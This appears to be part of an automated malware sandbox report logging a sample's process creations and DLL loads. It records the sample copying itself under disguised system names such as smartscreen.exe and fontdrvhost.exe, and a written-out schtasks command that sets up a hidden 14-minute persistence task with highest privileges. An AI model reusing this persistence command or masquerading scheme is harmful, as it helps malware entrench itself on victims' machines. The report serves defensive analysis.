Source: unknown	Process created: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe "C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe"
Source: unknown	Process created: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe "C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe"
Source: unknown	Process created: C:\ProgramData\smartscreen.exe "C:\Users\All Users\smartscreen.exe"
Source: unknown	Process created: C:\ProgramData\smartscreen.exe "C:\Users\All Users\smartscreen.exe"
Source: unknown	Process created: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe
Source: unknown	Process created: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f	Jump to behavior

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\twain_32\Registry.exe	Section loaded: mscoree.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: apphelp.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: version.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: uxtheme.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: windows.storage.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: wldp.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: profapi.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: cryptsp.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: rsaenh.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: cryptbase.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: sspicli.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: mscoree.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: version.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: uxtheme.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: windows.storage.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: wldp.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: profapi.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: cryptsp.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: rsaenh.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: cryptbase.dll
Source: C:\Windows\twain_32\Registry.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: version.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: wldp.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: profapi.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: version.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: wldp.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: profapi.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\smartscreen.exe	Section loaded: sspicli.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: mscoree.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: apphelp.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: version.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: uxtheme.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: windows.storage.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: wldp.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: profapi.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: cryptsp.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: rsaenh.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: cryptbase.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: sspicli.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: mscoree.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: version.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: uxtheme.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: windows.storage.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Section loaded: wldp.dll
